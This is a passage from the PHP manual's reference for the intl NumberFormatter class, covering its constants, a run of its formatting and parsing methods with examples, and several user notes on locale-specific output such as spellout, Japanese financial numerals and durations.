string getLocale ([ int $type ] )
string getPattern ( void )
string getSymbol ( int $attr )
string getTextAttribute ( int $attr )
float parseCurrency ( string $value , string &$currency [, int &$position ] )
mixed parse ( string $value [, int $type [, int &$position ]] )
bool setAttribute ( int $attr , int $value )
bool setPattern ( string $pattern )
bool setSymbol ( int $attr , string $value )
bool setTextAttribute ( int $attr , string $value )
}

Predefined Constants

These styles are used by the numfmt_create() to define the type of the formatter.

NumberFormatter::PATTERN_DECIMAL (integer)
Decimal format defined by pattern
NumberFormatter::DECIMAL (integer)
Decimal format
NumberFormatter::CURRENCY (integer)
Currency format
NumberFormatter::PERCENT (integer)
Percent format
NumberFormatter::SCIENTIFIC (integer)
Scientific format
NumberFormatter::SPELLOUT (integer)
Spellout rule-based format
NumberFormatter::ORDINAL (integer)
Ordinal rule-based format
NumberFormatter::DURATION (integer)
Duration rule-based format
NumberFormatter::PATTERN_RULEBASED (integer)
Rule-based format defined by pattern
NumberFormatter::DEFAULT_STYLE (integer)
Default format for the locale
NumberFormatter::IGNORE (integer)
Alias for PATTERN_DECIMAL

These constants define how the numbers are parsed or formatted. They should be used as arguments to numfmt_format() and numfmt_parse().

NumberFormatter::TYPE_DEFAULT (integer)
Derive the type from variable type
NumberFormatter::TYPE_INT32 (integer)
Format/parse as 32-bit integer
NumberFormatter::TYPE_INT64 (integer)
Format/parse as 64-bit integer
NumberFormatter::TYPE_DOUBLE (integer)
Format/parse as floating point value
NumberFormatter::TYPE_CURRENCY (integer)
Format/parse as currency value

Number format attribute used by numfmt_get_attribute() and numfmt_set_attribute().

NumberFormatter::PARSE_INT_ONLY (integer)
Parse integers only.
NumberFormatter::GROUPING_USED (integer)
Use grouping separator.
NumberFormatter::DECIMAL_ALWAYS_SHOWN (integer)
Always show decimal point.
NumberFormatter::MAX_INTEGER_DIGITS (integer)
Maximum integer digits.
NumberFormatter::MIN_INTEGER_DIGITS (integer)
Minimum integer digits.
NumberFormatter::INTEGER_DIGITS (integer)
Integer digits.
NumberFormatter::MAX_FRACTION_DIGITS (integer)
Maximum fraction digits.
NumberFormatter::MIN_FRACTION_DIGITS (integer)
Minimum fraction digits.
NumberFormatter::FRACTION_DIGITS (integer)
Fraction digits.
NumberFormatter::MULTIPLIER (integer)
Multiplier.
NumberFormatter::GROUPING_SIZE (integer)
Grouping size.
NumberFormatter::ROUNDING_MODE (integer)
Rounding Mode.
NumberFormatter::ROUNDING_INCREMENT (integer)
Rounding increment.
NumberFormatter::FORMAT_WIDTH (integer)
The width to which the output of format() is padded.
NumberFormatter::PADDING_POSITION (integer)
The position at which padding will take place. See pad position constants for possible argument values.
NumberFormatter::SECONDARY_GROUPING_SIZE (integer)
Secondary grouping size.
NumberFormatter::SIGNIFICANT_DIGITS_USED (integer)
Use significant digits.
NumberFormatter::MIN_SIGNIFICANT_DIGITS (integer)
Minimum significant digits.
NumberFormatter::MAX_SIGNIFICANT_DIGITS (integer)
Maximum significant digits.
NumberFormatter::LENIENT_PARSE (integer)
Lenient parse mode used by rule-based formats.

Number format text attribute used by numfmt_get_text_attribute() and numfmt_set_text_attribute().

NumberFormatter::POSITIVE_PREFIX (integer)
Positive prefix.
NumberFormatter::POSITIVE_SUFFIX (integer)
Positive suffix.
NumberFormatter::NEGATIVE_PREFIX (integer)
Negative prefix.
NumberFormatter::NEGATIVE_SUFFIX (integer)
Negative suffix.
NumberFormatter::PADDING_CHARACTER (integer)
The character used to pad to the format width.
NumberFormatter::CURRENCY_CODE (integer)
The ISO currency code.
NumberFormatter::DEFAULT_RULESET (integer)
The default rule set. This is only available with rule-based formatters.
NumberFormatter::PUBLIC_RULESETS (integer)
The public rule sets. This is only available with rule-based formatters. This is a read-only attribute. The public rulesets are returned as a single string, with each ruleset name delimited by ';' (semicolon).

Number format symbols used by numfmt_get_symbol() and numfmt_set_symbol().

NumberFormatter::DECIMAL_SEPARATOR_SYMBOL (integer)
The decimal separator.
NumberFormatter::GROUPING_SEPARATOR_SYMBOL (integer)
The grouping separator.
NumberFormatter::PATTERN_SEPARATOR_SYMBOL (integer)
The pattern separator.
NumberFormatter::PERCENT_SYMBOL (integer)
The percent sign.
NumberFormatter::ZERO_DIGIT_SYMBOL (integer)
Zero.
NumberFormatter::DIGIT_SYMBOL (integer)
Character representing a digit in the pattern.
NumberFormatter::MINUS_SIGN_SYMBOL (integer)
The minus sign.
NumberFormatter::PLUS_SIGN_SYMBOL (integer)
The plus sign.
NumberFormatter::CURRENCY_SYMBOL (integer)
The currency symbol.
NumberFormatter::INTL_CURRENCY_SYMBOL (integer)
The international currency symbol.
NumberFormatter::MONETARY_SEPARATOR_SYMBOL (integer)
The monetary separator.
NumberFormatter::EXPONENTIAL_SYMBOL (integer)
The exponential symbol.
NumberFormatter::PERMILL_SYMBOL (integer)
Per mill symbol.
NumberFormatter::PAD_ESCAPE_SYMBOL (integer)
Escape padding character.
NumberFormatter::INFINITY_SYMBOL (integer)
Infinity symbol.
NumberFormatter::NAN_SYMBOL (integer)
Not-a-number symbol.
NumberFormatter::SIGNIFICANT_DIGIT_SYMBOL (integer)
Significant digit symbol.
NumberFormatter::MONETARY_GROUPING_SEPARATOR_SYMBOL (integer)
The monetary grouping separator.

Rounding mode values used by numfmt_get_attribute()
and numfmt_set_attribute() with
NumberFormatter::ROUNDING_MODE attribute.

NumberFormatter::ROUND_CEILING (integer)
Rounding mode to round towards positive infinity.
NumberFormatter::ROUND_DOWN (integer)
Rounding mode to round towards zero.
NumberFormatter::ROUND_FLOOR (integer)
Rounding mode to round towards negative infinity.
NumberFormatter::ROUND_HALFDOWN (integer)
Rounding mode to round towards "nearest neighbor" unless both neighbors are equidistant, in which case round down.
NumberFormatter::ROUND_HALFEVEN (integer)
Rounding mode to round towards the "nearest neighbor" unless both neighbors are equidistant, in which case, round towards the even neighbor.
NumberFormatter::ROUND_HALFUP (integer)
Rounding mode to round towards "nearest neighbor" unless both neighbors are equidistant, in which case round up.
NumberFormatter::ROUND_UP (integer)
Rounding mode to round away from zero.

Pad position values used by numfmt_get_attribute()
and numfmt_set_attribute() with
NumberFormatter::PADDING_POSITION attribute.

NumberFormatter::PAD_AFTER_PREFIX (integer)
Pad characters inserted after the prefix.
NumberFormatter::PAD_AFTER_SUFFIX (integer)
Pad characters inserted after the suffix.
NumberFormatter::PAD_BEFORE_PREFIX (integer)
Pad characters inserted before the prefix.
NumberFormatter::PAD_BEFORE_SUFFIX (integer)
Pad characters inserted before the suffix.

See Also

  • » ICU formatting documentation
  • » ICU number formatters
  • » ICU decimal formatters
  • » ICU rule-based number formatters

Table of Contents

  • NumberFormatter::create — Create a number formatter
  • NumberFormatter::formatCurrency — Format a currency value
  • NumberFormatter::format — Format a number
  • NumberFormatter::getAttribute — Get an attribute
  • NumberFormatter::getErrorCode — Get formatter's last error code.
  • NumberFormatter::getErrorMessage — Get formatter's last error message.
  • NumberFormatter::getLocale — Get formatter locale
  • NumberFormatter::getPattern — Get formatter pattern
  • NumberFormatter::getSymbol — Get a symbol value
  • NumberFormatter::getTextAttribute — Get a text attribute
  • NumberFormatter::parseCurrency — Parse a currency number
  • NumberFormatter::parse — Parse a number
  • NumberFormatter::setAttribute — Set an attribute
  • NumberFormatter::setPattern — Set formatter pattern
  • NumberFormatter::setSymbol — Set a symbol value
  • NumberFormatter::setTextAttribute — Set a text attribute

User Contributed Notes

giorgio dot liscio at email dot it 21-Mar-2011 10:59
this class seems to be painful: it is not, formatting and parsing are highly customizable, but what you probably need is really simple:

if you want to localize a number use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::DECIMAL);
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12
$a->setAttribute(\NumberFormatter::MIN_FRACTION_DIGITS, 0);
$a->setAttribute(\NumberFormatter::MAX_FRACTION_DIGITS, 100); // by default some locales got max 2 fraction digits, that is probably not what you want
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12345
?>

if you want to print money use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->format(12345.12345) . "<br>"; // outputs €12.345,12
?>

if you have money data stored as (for example) US dollars and you want to print them using the it-IT notation, you need to use

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->formatCurrency(12345, "USD") . "<br>"; // outputs $ 12.345,00 and it is formatted using the italian notation (comma as decimal separator)
?>

another useful example about currency (how to obtain the currency name by a locale string):

<?php
$frontEndFormatter = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
$adminFormatter = new \NumberFormatter("en-US", \NumberFormatter::CURRENCY);
$symbol = $adminFormatter->getSymbol(\NumberFormatter::INTL_CURRENCY_SYMBOL); // got USD
echo $frontEndFormatter->formatCurrency(12345.12345,  $symbol) . "<br>";
?>
sudheer at binaryvibes dot co dot in 12-Jan-2011 12:41
Sample script to print number in English.

<?php
$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);
echo $f->format(123456);

?>

Produces the result:
one hundred twenty-three thousand four hundred fifty-six
Collator::sort
NumberFormatter::create
intl


Create a number formatter

NumberFormatter
NumberFormatter::formatCurrency
NumberFormatter
PHP Manual

NumberFormatter::create

numfmt_create

NumberFormatter::__construct

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::create -- numfmt_create -- NumberFormatter::__construct — Create a number formatter

Description

Object oriented style (method)

static NumberFormatter NumberFormatter::create ( string $locale , int $style [, string $pattern ] )

Procedural style

NumberFormatter numfmt_create ( string $locale , int $style [, string $pattern ] )

Object oriented style (constructor):

NumberFormatter::__construct() ( string $locale , int $style [, string $pattern ] )

Creates a number formatter.

Parameters

locale

Locale in which the number would be formatted (locale name, e.g. en_CA).

style

Style of the formatting, one of the format style constants. If NumberFormatter::PATTERN_DECIMAL or NumberFormatter::PATTERN_RULEBASED is passed then the number format is opened using the given pattern, which must conform to the syntax described in » ICU DecimalFormat documentation or » ICU RuleBasedNumberFormat documentation, respectively.

pattern

Pattern string if the chosen style requires a pattern.

Return Values

Returns NumberFormatter object or FALSE on error.

Examples

Example #1 numfmt_create() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
$fmt = numfmt_create( 'it', NumberFormatter::SPELLOUT );
echo numfmt_format($fmt, 1142)."\n";
?>

Example #2 NumberFormatter::create() example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo $fmt->format(1234567.891234567890000)."\n";
$fmt = new NumberFormatter( 'it', NumberFormatter::SPELLOUT );
echo $fmt->format(1142)."\n";
?>

The above example will output:

1.234.567,891
millicentoquarantadue

See Also

  • numfmt_format() - Format a number
  • numfmt_parse() - Parse a number

User Contributed Notes

daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 08:43
It should be noted that the locale string passed into NumberFormatter's constructor doesn't play with UCA keywords quite as readily as, say, the Collator and IntlDateFormatter classes' constructors.

According to the Unicode spec (http://www.unicode.org/reports/tr35), I should be able to specify a locale of "ja_JP@numbers=jpanfin" which, for spellout mode, should give me Japanese financial (ie. anti-forgery) numerals. When passed into NumberFormatter's constructor, "ja_JP@numbers=jpanfin" doesn't work.

However, when I look at a dump of NumberFormatter::getPattern() for the ja_JP locale, I see that the financial numerals *are* in there (as %financial). Here's how we wrangle them out of the NumberFormatter:

<?php
$number = 1234567890;

$formatter = new NumberFormatter('ja_JP', NumberFormatter::SPELLOUT);

$formatter->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%financial");

echo $formatter->format($number);
//above gives [拾弐億参千四百伍拾六萬七千八百九拾] (as opposed to [十二億三千四百五十六万七千八百九十]) - bingo!
?>
F. Poirotte 15-Nov-2009 08:26
When formatting durations using the NumberFormatter::DURATION type, you may also need to use NumberFormatter::setTextAttribute to get the desired output.

<?php

$fmt = new NumberFormatter('en', NumberFormatter::DURATION);
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

// "%in-numerals" is the default ruleset, so this results in the same as above.
$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%in-numerals");
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%with-words");
// Outputs: string(31) "3 hours, 25 minutes, 45 seconds"
var_dump($fmt->format(12345));

$fmt2 = new NumberFormatter('fr', NumberFormatter::DURATION);
// Outputs: string(7) "12 345"
// See notes below.
var_dump($fmt2->format(12345));

?>

This is a little counter-intuitive because there is not much doc available about the DURATION type.

Also, as far as I can tell, only the English (en) locale has support for the "%in-numerals" & "%with-words" rulesets. Other locales seem to simply format the input as if the DECIMAL type had been used (at least using "fr" or "de" as the target locale).

One way to provide that feature across different locales is to extract the ruleset implicitely used by NumberFormatter::DURATION and adapt it for the locales you're targetting. Use NumberFormatter::getPattern to extract the ruleset.
NumberFormatter
NumberFormatter::formatCurrency
NumberFormatter


Format a currency value

NumberFormatter::create
NumberFormatter::format
NumberFormatter
PHP Manual

NumberFormatter::formatCurrency

numfmt_format_currency

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::formatCurrency -- numfmt_format_currency — Format a currency value

Description

Object oriented style

string NumberFormatter::formatCurrency ( float $value , string $currency )

Procedural style

string numfmt_format_currency ( NumberFormatter $fmt , float $value , string $currency )

Format the currency value according to the formatter rules.

Parameters

fmt

NumberFormatter object.

value

The numeric currency value.

currency

The 3-letter ISO 4217 currency code indicating the currency to use.

Return Values

String representing the formatted currency value.

Examples

Example #1 numfmt_format_currency() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
$fmt = numfmt_create( 'ru_RU', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
$fmt = new NumberFormatter( 'ru_RU', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
?>

The above example will output:

1.234.567,89 €
1.234.567,89 RUR
1 234 567,89€
1 234 567,89р.

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_format() - Format a number
  • numfmt_parse_currency() - Parse a currency number

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::create
NumberFormatter::format
NumberFormatter


Format a number

NumberFormatter::formatCurrency
NumberFormatter::getAttribute
NumberFormatter
PHP Manual

NumberFormatter::format

numfmt_format

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::format -- numfmt_format — Format a number

Description

Object oriented style

string NumberFormatter::format ( number $value [, int $type ] )

Procedural style

string numfmt_format ( NumberFormatter $fmt , number $value [, int $type ] )

Format a numeric value according to the formatter rules.

Parameters

fmt

NumberFormatter object.

value

The value to format. Can be integer or float, other values will be converted to a numeric value.

type

The formatting type to use.

Return Values

Returns the string containing formatted value, or FALSE on error.

Examples

Example #1 numfmt_format() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_format($fmt))) {
    report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

The above example will output:

1.234.567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_format_currency() - Format a currency value
  • numfmt_parse() - Parse a number

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::formatCurrency
NumberFormatter::getAttribute
NumberFormatter


Get an attribute

NumberFormatter::format
NumberFormatter::getErrorCode
NumberFormatter
PHP Manual

NumberFormatter::getAttribute

numfmt_get_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getAttribute -- numfmt_get_attribute — Get an attribute

Description

Object oriented style

int NumberFormatter::getAttribute ( int $attr )

Procedural style

int numfmt_get_attribute ( NumberFormatter $fmt , int $attr )

Get a numeric attribute associated with the formatter. An example of a numeric attribute is the number of integer digits the formatter will produce.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the numeric attribute constants.

Return Values

Return attribute value on success, or FALSE on error.

Examples

Example #1 numfmt_get_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_text_attribute() - Get a text attribute
  • numfmt_set_attribute() - Set an attribute

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::format
NumberFormatter::getErrorCode
NumberFormatter


Get formatter's last error code.

NumberFormatter::getAttribute
NumberFormatter::getErrorMessage
NumberFormatter
PHP Manual

NumberFormatter::getErrorCode

numfmt_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getErrorCode -- numfmt_get_error_code — Get formatter's last error code.

Description

Object oriented style

int NumberFormatter::getErrorCode ( void )

Procedural style

int numfmt_get_error_code ( NumberFormatter $fmt )

Get error code from the last function performed by the formatter.

Parameters

fmt

NumberFormatter object.

Return Values

Returns error code from last formatter call.

Examples

Example #1 numfmt_get_error_code() example

<?php
$fmt  = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_get_error_code($fmt))) {
    report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

See Also

  • numfmt_get_error_message() - Get formatter's last error message.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::getAttribute
NumberFormatter::getErrorMessage
NumberFormatter


Get formatter's last error message.

NumberFormatter::getErrorCode
NumberFormatter::getLocale
NumberFormatter
PHP Manual

NumberFormatter::getErrorMessage

numfmt_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getErrorMessage -- numfmt_get_error_message — Get formatter's last error message.

Description

Object oriented style

string NumberFormatter::getErrorMessage ( void )

Procedural style

string numfmt_get_error_message ( NumberFormatter $fmt )

Get error message from the last function performed by the formatter.

Parameters

fmt

NumberFormatter object.

Return Values

Returns error message from last formatter call.

Examples

Example #1 numfmt_get_error_message() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_get_error_code($fmt))) {
    report_error("Formatter error");
}
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::getErrorCode
NumberFormatter::getLocale
NumberFormatter


Get formatter locale

NumberFormatter::getErrorMessage
NumberFormatter::getPattern
NumberFormatter
PHP Manual

NumberFormatter::getLocale

numfmt_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getLocale -- numfmt_get_locale — Get formatter locale

Description

Object oriented style

string NumberFormatter::getLocale ([ int $type ] )

Procedural style

string numfmt_get_locale ( NumberFormatter $fmt [, int $type ] )

Get formatter locale name.

Parameters

fmt

NumberFormatter object.

type

You can choose between valid and actual locale ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, respectively). The default is the actual locale.

Return Values

The locale name used to create the formatter.

Examples

Example #1 numfmt_get_locale() example

<?php
$req     = 'fr_FR_PARIS';
$fmt     = numfmt_create( $req,  NumberFormatter::DECIMAL);
$res_val = numfmt_get_locale( $fmt, Locale::VALID_LOCALE );
$res_act = numfmt_get_locale( $fmt, Locale::ACTUAL_LOCALE );
printf( "Requested locale name: %s\nValid locale name: %s\nActual locale name: %s\n",
         $req, $res_val, $res_act );
?>

The above example will output:

Requested locale name: fr_FR_PARIS
Valid locale name: fr_FR
Actual locale name: fr

See Also

  • numfmt_create() - Create a number formatter
  • numfmt_get_error_code() - Get formatter's last error code.

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::getErrorMessage
NumberFormatter::getPattern
NumberFormatter


Get formatter pattern

NumberFormatter::getLocale
NumberFormatter::getSymbol
NumberFormatter
PHP Manual

NumberFormatter::getPattern

numfmt_get_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getPattern -- numfmt_get_pattern — Get formatter pattern

Description

Object oriented style

string NumberFormatter::getPattern ( void )

Procedural style

string numfmt_get_pattern ( NumberFormatter $fmt )

Extract pattern used by the formatter.

Parameters

fmt

NumberFormatter object.

Return Values

Pattern string that is used by the formatter, or FALSE if an error happens.

Examples

Example #1 numfmt_get_pattern() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_set_pattern() - Set formatter pattern
  • numfmt_create() - Create a number formatter

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::getLocale
NumberFormatter::getSymbol
NumberFormatter


Get a symbol value

NumberFormatter::getPattern
NumberFormatter::getTextAttribute
NumberFormatter
PHP Manual

NumberFormatter::getSymbol

numfmt_get_symbol

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getSymbol -- numfmt_get_symbol — Get a symbol value

Description

Object oriented style

string NumberFormatter::getSymbol ( int $attr )

Procedural style

string numfmt_get_symbol ( NumberFormatter $fmt , int $attr )

Get a symbol associated with the formatter. The formatter uses symbols to represent the special locale-dependent characters in a number, for example the percent sign. This API is not supported for rule-based formatters.

Parameters

fmt

NumberFormatter object.

attr

Symbol specifier, one of the format symbol constants.

Return Values

The symbol string or FALSE on error.

Examples

Example #1 numfmt_get_symbol() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

The above example will output:

Sep: .
1.234.567,891
Sep: *
1*234*567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_set_symbol() - Set a symbol value

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::getPattern
NumberFormatter::getTextAttribute
NumberFormatter


Get a text attribute

NumberFormatter::getSymbol
NumberFormatter::parseCurrency
NumberFormatter
PHP Manual

NumberFormatter::getTextAttribute

numfmt_get_text_attribute

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::getTextAttribute -- numfmt_get_text_attribute — Get a text attribute

Description

Object oriented style

string NumberFormatter::getTextAttribute ( int $attr )

Procedural style

string numfmt_get_text_attribute ( NumberFormatter $fmt , int $attr )

Get a text attribute associated with the formatter. An example of a text attribute is the suffix for positive numbers. If the formatter does not understand the attribute, U_UNSUPPORTED_ERROR error is produced. Rule-based formatters only understand NumberFormatter::DEFAULT_RULESET and NumberFormatter::PUBLIC_RULESETS.

Parameters

fmt

NumberFormatter object.

attr

Attribute specifier - one of the text attribute constants.

Return Values

Return attribute value on success, or FALSE on error.

Examples

Example #1 numfmt_get_text_attribute() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

The above example will output:

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_get_attribute() - Get an attribute
  • numfmt_set_text_attribute() - Set a text attribute

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::getSymbol
NumberFormatter::parseCurrency
NumberFormatter


Parse a currency number

NumberFormatter::getTextAttribute
NumberFormatter::parse
NumberFormatter
PHP Manual

NumberFormatter::parseCurrency

numfmt_parse_currency

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::parseCurrency -- numfmt_parse_currency — Parse a currency number

Description

Object oriented style

float NumberFormatter::parseCurrency ( string $value , string &$currency [, int &$position ] )

Procedural style

float numfmt_parse_currency ( NumberFormatter $fmt , string $value , string &$currency [, int &$position ] )

Parse a string into a double and a currency using the current formatter.

Parameters

fmt

NumberFormatter object.

currency

Parameter to receive the currency name (3-letter ISO 4217 currency code).

position

Offset in the string at which to begin parsing. On return, this value will hold the offset at which parsing ended.

Return Values

The parsed numeric value or FALSE on error.

Examples

Example #1 numfmt_parse_currency() example

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89 $";
echo "We have ".numfmt_parse_currency($fmt, $num, $curr)." in $curr\n";
?>

Example #2 OO example

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89 $";
echo "We have ".$fmt->parseCurrency($num, $curr)." in $curr\n";
?>

The above example will output:

We have 1234567.89 in USD

See Also

  • numfmt_get_error_code() - Get formatter's last error code.
  • numfmt_parse() - Parse a number
  • numfmt_format_currency() - Format a currency value

User Contributed Notes

There are no user contributed notes for this page.
NumberFormatter::getTextAttribute
NumberFormatter::parse
NumberFormatter


Parse a number

NumberFormatter::parseCurrency
NumberFormatter::setAttribute
NumberFormatter
PHP Manual

NumberFormatter::parse

numfmt_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

NumberFormatter::parse -- numfmt_parse — Parse a number

Description

Object oriented style

mixed NumberFormatter::parse ( string $value [, int $type [, int &$position ]] )

Procedural style

mixed numfmt_parse ( NumberFormatter $fmt , string $value [, int $type [, int &$position ]] )

Parse a string into a number using the current formatter rules.

Parameters

fmt

NumberFormatter object.
